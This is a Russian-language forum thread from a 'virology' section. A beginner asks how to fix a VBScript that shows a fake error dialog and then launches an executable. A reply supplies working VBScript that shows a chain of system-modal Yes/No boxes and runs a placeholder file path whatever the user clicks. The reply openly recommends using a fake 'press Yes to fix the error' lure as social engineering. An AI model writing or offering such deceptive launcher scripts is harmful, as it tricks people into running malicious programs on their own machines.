Загрузка...

Нужно дописать скрипт vbscript, я новичок.

Тема в разделе Вирусология создана пользователем besheniytapochek 21 апр 2020. 198 просмотров

Загрузка...
  1. besheniytapochek
    Скопировать BBCode
    besheniytapochek Автор темы 21 апр 2020 0 1 апр 2020
    Скрипт таков:
    MsgBox"Непредвиденная ошибка: бла бла бла", 0+76,"бла бла бла"
    If MsgBox = 1 then
    Open.Run = DZ.exe
    If MsgBox = 0 then
    Open.Run = DZ.exe
    End if
    _______
    Но при выполнении выдаёт ошибку что после if нужен опять end
     
    21 апр 2020
  2. zoky_inactive784137
    Скопировать BBCode
    zoky_inactive784137 23 апр 2020 Заблокирован(а) 0 8 янв 2019
    короче тут немножко другой метод но можно тоже по соц инженерии както обыграть типо ошибка нажмите да дабы пофиксить хотя даже если нажмут нет запустится , только дабы файл запустился напиши путь + самфайл.exe
    Option Explicit
    Dim obj, a, b, c
    Set obj = CreateObject("wscript.shell")
    a=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal)
    If a=vbYes Then
    obj.Run "путь"
    b=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal)
    Else
    obj.Run "путь"
    b=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal)
    End If
    If b=vbYes Then
    obj.Run "путь"
    c=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal)
    Else
    obj.Run "путь"
    c=MsgBox("чонидьнапиши",vbYesNo+vbQuestion+vbSystemModal)
    End If
    If c=vbYes Then
    obj.Run """путь к файлу"""
    Else
    obj.Run """путь к файлу"""
    WScript.Quit
    End If
    --- Сообщение объединено с предыдущим 23 апр 2020
    + так файл откроется не 2 а 3 раза
    --- Сообщение объединено с предыдущим 23 апр 2020
    можешь протестить на картинке
     
    23 апр 2020
Top